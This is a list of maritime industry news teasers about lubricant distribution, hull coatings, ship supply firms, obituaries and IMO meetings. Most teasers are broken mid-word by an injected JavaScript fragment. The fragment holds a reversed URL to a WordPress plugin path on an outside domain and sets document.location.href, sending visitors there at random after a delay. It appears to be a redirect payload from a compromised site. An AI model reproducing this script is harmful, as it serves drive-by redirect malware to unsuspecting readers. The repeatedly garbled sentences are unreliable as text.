Author: Sam Giltrow

ExxonMobil signs distribution deal with Drew Marine to extend reliable delivery of flagship lubricants

ExxonMobil Marine Lubricants has signed an agreement with Drew Marine that will enhance the availability of its range of high performance oils and greases. Flagship grades, including Mobil SHC™ Aware™, will now be available via the global supply chain of Drew Marine, helping ensure international vessel operators have access to the lubricants they need, when and where they need them.… Read more →

New Subsea Industries agents for Colombia and Singapore

Subsea Industries has new agents for Colombia and Singapore. They will represent and support products throughout their countries. A full list of our worldwide network of agents can be found on the Subsea Industries website: www.subind.net/contact Subsea Industries is a pioneer in the development of hard hull coating systems and hull and propeller cleaning systems. In 2002 a long-lasting, non-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var… Read more →

Global shipping industry supplier onboard with Cognito Learning

A world leading mobile technology innovator that provides mobile connectivity solutions in remote and inaccessible parts of the world, is the latest company now using Cognito Learning’s unique AI digital learning app to enable its team to retain knowledge and training. KVH Industries’ technology delivers high-speed internet, TV and telephone solutions, via satellite, to users at sea, in the air… Read more →

Hempel launches re-formulated antifouling technology to enhance its proven range of low investment hull coatings

Global coatings manufacturer Hempel has enhanced its established and proven Olympic+ and Oceanic+ antifouling range and is, today, launching five new antifouling solutions: Oceanic Protect+, Oceanic Flex+, Olympic Protect+, Olympic Flex+ and Olympic Protect. Building on their proven effectiveness, reliability and impressive value-for-money, these five new products deliver additional benefits and choice within the existing product range. Hempel’s Olympic+ and… Read more →

Moscord management join forces in new Singapore HQ

Ship supplier Moscord has announced  it will gather its management team under one roof in Singapore, home toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the world’s largest and busiest port. “Management is currently located various places around the world. The company wants toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bundle our executives in Singapore in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var… Read more →

ISSA mourns former President Wim van Noortwijk

ISSA is very sad toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to announce the death of its former President Wim van Noortwijk who passed peacefully away on 29th November. A toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towering figure in ISSA, Wim was President from 2000 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 2008. His many initiatives included changing ISSA’s name toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var… Read more →

Obituary – John Blom, NeKo Ship Supply Group

After a long illness, John Blom the owner and founder of NeKo Ship Supply, passed away on 21st Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober at the age 72. John left his mark in the Ship Chandler Industry with a career of more than 50 years. He started at Aug. Kopcke & Co in the 1970s and in 2002 he… Read more →

Tanki rolls out sustainable paper to solve pollution problem

In support of global initiatives to reduce the amount of pollutants discharged to the marine environment, a UK start-up has developed a revolutionary sanitary paper that uses no adhesives or other nano-plastics in its manufacture. Taking a more environmentally-friendly approach to the emergent toilet tissue issue, Shrewsbury-based Tanki is able to supply a sustainably sourced and produced paper that does… Read more →

Protecting oceans with reusable masks

Waste fishing nets are being turned intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to eco-friendly facemasks in a bid toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to end mask trash and help protect the oceans. The nets, which pose a severe threat toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to marine life if abandoned or lost at sea, are collected and ultimately regenerated… Read more →

Provisions and ship stores at your fingertips with ISSA’s new hard copy and digital catalogues

ISSA has published its first ever Provisions & Bonded Stores Catalogue, enabling smoother ordering of a wide range of international food and drink. Vessel operators, ships’ officers and catering teams will be now be able to identify the universal ISSA ordering code for thousands of food stores and fresh produce, thereby streamlining their ordering process – crucial at a time… Read more →

DuroWipers wins RNLI Severn class supply first

The RNLI has announced its life extension programme for the Severn class lifeboat and DuroWiper Class 60 pantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographs are being tested on the protoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totype vessel. “If the wipers perform well during trials, we will extend the order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the first batch of… Read more →

Keeping biofouling at bay in times of crisis

Dr Markus Hoffmann, Technical Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, I-Tech AB discusses the importance of biofouling prevention as vessels lay idle during the COVID-19 pandemic.   Few could have predicted the seismic effect COVID-19 would have on the shipping industry throughout 2020. Travel restrictions and a period of decreased demand for goods plunged thousands of ships intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);… Read more →

Survitec introduces new turn-key service to support ship owner lay-up requirements

A new service aimed at ensuring CO2 low pressure (LP) firefighting systems are correctly deactivated when ships enter lay-up has been introduced by Survitec. The turn-key CO2 LP lay-up service, developed in collaboration with a leading European-based ship owner, was introduced two months ago following market demand for a solution capable of simplifying decommissioning and recommissioning procedures. Survitec has already… Read more →

IMO sets remote meeting plan for rest of year

IMO has issued the calendar of meetings for September toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to December 2020, setting dates for remote sessions of the IMO Council and Committees. The first scheduled meeting is set toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a simultaneous, remote extraordinary sessions of all Committees (expected toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be… Read more →

Ecochlor Receives IMO BWMS Code Type Approval

Ecochlor has received Type Approval from the Norwegian Maritime Authority (NMA) for the IMO BWMS Code (MEPC.300(72) / revised 2016 G8) standards. The new certification applies toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the entire range of Ecochlor ballast water management systems (BWMS), with flow rates of between 500 m3/hr. and 16,200 m3/hr., meaning that vessel owners may continue toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var… Read more →

Ecospeed still in excellent condition after 10 years on workboat

Ten years after Ecospeed was applied on two of the Hydrex workboats, one of them docked in Antwerp, the coating was still in near-perfect condition and no repaint or toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touch-ups were required. For the Hydrex divers that regularly clean the workboats this came as no surprise. “When we clean the hulls, the surrounding water… Read more →

Hempel appoints new COO and Executive Vice President

New Executive Vice President & Chief Operating Officer Katarina Lindström officially joined Hempel on 1st August. As Executive Vice President & Chief Operating Officer (COO) and a member of the company’s Executive Management Board, Katarina Lindström will play a central role in driving Hempel’s strategy. The company has an ambition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to double in size… Read more →

NIPPON PAINT AND CORNING INC DEVELOP ANTIVIRUS SURFACE COATING

Nippon Paint and Corning Inc, the US-based technology company, have developed a special coating toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect workers from picking up viruses from painted surfaces.   Nippon Paint’s Antivirus Kids Paint, developed specifically for frontline hospital use, incorporates Corning Guardiant™ Antimicrobial Particles – a nascent technology designed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to safeguard… Read more →

Don’t forget the fire-fighting requirement with a scrubber retrofit, advises Survitec

Ship owners looking toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to retrofit marine exhaust gas cleaning systems as a way of complying with new sulphur emissions rules should verify the capacity of their fixed fire-fighting systems before undertaking any retrofit projects. While amendments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to MARPOL Annex VI, dubbed the IMO 2020 regulation, do not specifically… Read more →

Safe Bulkers extends partnership with Alfa Laval

Greek dry bulk operatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Safe Bulkers has signed a long-term service agreement with Alfa Laval, which it says will safeguard compliance through connectivity and more. In June 2018 Safe Bulkers selected Alfa Laval toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to retrofit 20 of its vessels with Alfa Laval PureSOx scrubber systems for exhaust gas… Read more →